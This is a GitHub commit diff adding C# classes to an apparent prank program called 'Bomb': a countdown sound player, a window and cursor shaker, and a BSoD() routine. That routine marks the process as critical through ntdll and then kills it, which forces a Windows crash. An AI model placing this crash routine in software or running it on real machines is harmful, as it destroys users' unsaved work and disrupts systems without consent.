-
Notifications
You must be signed in to change notification settings - Fork 1
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
12 changed files
with
628 additions
and
543 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,37 @@ | ||
using System; | ||
using System.Diagnostics; | ||
using System.IO; | ||
using System.Runtime.InteropServices; | ||
|
||
namespace Bomb.Classes | ||
{ | ||
public static class Functions | ||
{ | ||
/// <summary> | ||
/// Extract UnmanagedMemoryStream to specific location | ||
/// </summary> | ||
/// <param name="resource">UnmanagedMemoryStream to extract</param> | ||
/// <param name="path">Location to extract</param> | ||
public static void ExtractFile(UnmanagedMemoryStream resource, string path) | ||
{ | ||
var input = new BufferedStream(resource); | ||
var output = new FileStream(path, FileMode.Create); | ||
var data = new byte[1024]; | ||
int lengthEachRead; | ||
while ((lengthEachRead = input.Read(data, 0, data.Length)) > 0) output.Write(data, 0, lengthEachRead); | ||
output.Flush(); | ||
output.Close(); | ||
} | ||
|
||
|
||
[DllImport("ntdll.dll", SetLastError = true)] | ||
private static extern void RtlSetProcessIsCritical(int v1, UInt32 v2, UInt32 v3); | ||
|
||
public static void BSoD() | ||
{ | ||
Process.EnterDebugMode(); | ||
RtlSetProcessIsCritical(1, 0, 0); | ||
Process.GetCurrentProcess().Kill(); | ||
} | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,174 @@ | ||
using System; | ||
using System.IO; | ||
using System.Runtime.InteropServices; | ||
|
||
namespace Bomb.Classes | ||
{ | ||
public class SoundPlayer | ||
{ | ||
/// <summary> | ||
/// Alias of player | ||
/// </summary> | ||
public string alias | ||
{ | ||
get => _alias; | ||
set => _alias = value.Replace("\n", "").Replace(" ", "").Replace("\t", "").Replace("\r", ""); | ||
} | ||
|
||
private string _alias; | ||
|
||
//public static uint SND_ASYNC = 0x0001; | ||
//public static uint SND_FILENAME = 0x00020000; | ||
|
||
[DllImport("winmm.dll")] | ||
public static extern uint mciSendString(string lpstrCommand, string lpstrReturnString, uint uReturnLength, uint hWndCallback); | ||
|
||
/// <summary> | ||
/// Construct MusicPlayer | ||
/// </summary> | ||
/// <param name="alias">Alias of player</param> | ||
public SoundPlayer(string alias) | ||
{ | ||
this.alias = alias; | ||
} | ||
|
||
/// <summary> | ||
/// Close file | ||
/// </summary> | ||
public void Close() | ||
{ | ||
mciSendString(@"close " + alias, null, 0, 0); | ||
} | ||
/// <summary> | ||
/// Close file | ||
/// </summary> | ||
/// <param name="alias">Alias of player</param> | ||
public static void Close(string alias) | ||
{ | ||
mciSendString(@"close " + alias, null, 0, 0); | ||
} | ||
|
||
/// <summary> | ||
/// Open file | ||
/// </summary> | ||
/// <param name="file">File location</param> | ||
public void Open(string file) | ||
{ | ||
mciSendString("open \"" + file + "\" alias " + alias, null, 0, 0); | ||
} | ||
/// <summary> | ||
/// Open file | ||
/// </summary> | ||
/// <param name="file">File location</param> | ||
/// <param name="alias">Alias of player</param> | ||
public static void Open(string file, string alias) | ||
{ | ||
mciSendString("open \"" + file + "\" alias " + alias, null, 0, 0); | ||
} | ||
|
||
/// <summary> | ||
/// Stop current music playing | ||
/// </summary> | ||
public void Stop() | ||
{ | ||
mciSendString(@"close " + alias, null, 0, 0); | ||
} | ||
/// <summary> | ||
/// Stop current music playing | ||
/// </summary> | ||
/// <param name="alias">Alias of player</param> | ||
public static void Stop(string alias) | ||
{ | ||
mciSendString(@"close " + alias, null, 0, 0); | ||
} | ||
|
||
/// <summary> | ||
/// Jump to a location of music | ||
/// </summary> | ||
public void JumpTo(long millisecond) | ||
{ | ||
mciSendString(@"seek " + alias + " to " + millisecond, null, 0, 0); | ||
} | ||
/// <summary> | ||
/// Jump to a location of music | ||
/// </summary> | ||
/// <param name="alias">Alias of player</param> | ||
public static void JumpTo(long millisecond, string alias) | ||
{ | ||
mciSendString(@"seek " + alias + " to " + millisecond, null, 0, 0); | ||
} | ||
|
||
/// <summary> | ||
/// Play music | ||
/// </summary> | ||
/// <param name="hWndCallback">Callback handle</param> | ||
public void Play(uint hWndCallback) | ||
{ | ||
mciSendString(@"play " + alias + " notify", null, 0, hWndCallback); | ||
} | ||
/// <summary> | ||
/// Play music | ||
/// </summary> | ||
/// <param name="hWndCallback">Callback handle</param> | ||
/// <param name="alias">Alias of music</param> | ||
public static void Play(uint hWndCallback, string alias) | ||
{ | ||
mciSendString(@"play " + alias + " notify", null, 0, hWndCallback); | ||
} | ||
/// <summary> | ||
/// Play music | ||
/// </summary> | ||
/// <param name="loop">Does loop</param> | ||
public void Play() | ||
//{ mciSendString(@"play " + alias + (loop ? " repeat" : ""), null, 0, 0); } | ||
{ | ||
mciSendString("play " + alias, null, 0, 0); | ||
} | ||
/// <summary> | ||
/// Play music | ||
/// </summary> | ||
/// <param name="loop">Does loop</param> | ||
/// <param name="alias">Alias of player</param> | ||
public static void Play(string alias) | ||
{ | ||
mciSendString(@"play " + alias, null, 0, 0); | ||
} | ||
|
||
/// <summary> | ||
/// Get music length | ||
/// </summary> | ||
public long GetMusicLength() | ||
{ | ||
var length = ""; | ||
mciSendString("status " + alias + " length", length, 128, 0); | ||
length = length.Trim(); | ||
if (string.IsNullOrEmpty(length)) return 0; | ||
return Convert.ToInt64(length); | ||
} | ||
/// <summary> | ||
/// Get music length | ||
/// </summary> | ||
/// <param name="alias">Alias of player</param> | ||
public static long GetMusicLength(string alias) | ||
{ | ||
var length = ""; | ||
mciSendString("status " + alias + " length", length, 128, 0); | ||
length = length.Trim(); | ||
if (string.IsNullOrEmpty(length)) return 0; | ||
return Convert.ToInt64(length); | ||
} | ||
|
||
|
||
public static void PlaySound(UnmanagedMemoryStream resource, IntPtr Handle, double start_at = -1) | ||
{ | ||
var sound_player = new SoundPlayer("countdown"); | ||
sound_player.Stop(); | ||
sound_player.Close(); | ||
var path = Environment.GetEnvironmentVariable("tmp") + "\\sound.wav"; | ||
Functions.ExtractFile(resource, path); | ||
sound_player.Open(path); | ||
if (start_at != -1) sound_player.JumpTo(18300 - (long)(start_at * 1000)); | ||
sound_player.Play((uint)Handle); | ||
} | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,64 @@ | ||
using System; | ||
using System.Collections.Generic; | ||
using System.ComponentModel; | ||
using System.Drawing; | ||
using System.Linq; | ||
using System.Runtime.InteropServices; | ||
using System.Text; | ||
using System.Threading; | ||
using System.Threading.Tasks; | ||
using System.Windows.Forms; | ||
|
||
namespace Bomb.Classes | ||
{ | ||
|
||
public static class WindowShaker | ||
{ | ||
public static void ShakeMouse(bool ex = false) | ||
{ | ||
var Ex = 2; | ||
var random = new Random(); | ||
var newPosition = new Size(random.Next(-10 * (ex ? Ex : 1), 10 * (ex ? Ex : 1)), random.Next(-10 * (ex ? Ex : 1), 10 * (ex ? Ex : 1))); | ||
var oldPosition = Cursor.Position; | ||
Cursor.Position = Point.Add(Cursor.Position, newPosition); | ||
Thread.Sleep(20); | ||
Cursor.Position = oldPosition; | ||
} | ||
[DllImport("user32.dll")] | ||
private static extern bool GetWindowRect(IntPtr hWnd, out RECT lpRect); | ||
|
||
[DllImport("user32.dll")] | ||
private static extern bool MoveWindow(IntPtr hWnd, int X, int Y, int nWidth, int nHeight, bool bRepaint); | ||
|
||
[StructLayout(LayoutKind.Sequential)] | ||
private struct RECT | ||
{ | ||
public int Left; | ||
public int Top; | ||
public int Right; | ||
public int Bottom; | ||
} | ||
|
||
public static void ShakeCurrentWindows(bool ex = false) | ||
{ | ||
var Ex = 5; | ||
|
||
var random = new Random(); | ||
|
||
foreach (var form in Application.OpenForms) | ||
{ | ||
var handle = ((Form)form).Handle; | ||
RECT rect; | ||
GetWindowRect(handle, out rect); | ||
var width = rect.Right - rect.Left; | ||
var height = rect.Bottom - rect.Top; | ||
var newX = random.Next(-10 * (ex ? Ex : 1), 10 * (ex ? Ex : 1)); | ||
var newY = random.Next(-10 * (ex ? Ex : 1), 10 * (ex ? Ex : 1)); | ||
MoveWindow(handle, rect.Left + newX, rect.Top + newY, width, height, true); | ||
Thread.Sleep(20); | ||
MoveWindow(handle, rect.Left, rect.Top, width, height, true); | ||
} | ||
} | ||
|
||
} | ||
} |
Some generated files are not rendered by default. Learn more about how customized files appear on GitHub.
Oops, something went wrong.
Oops, something went wrong.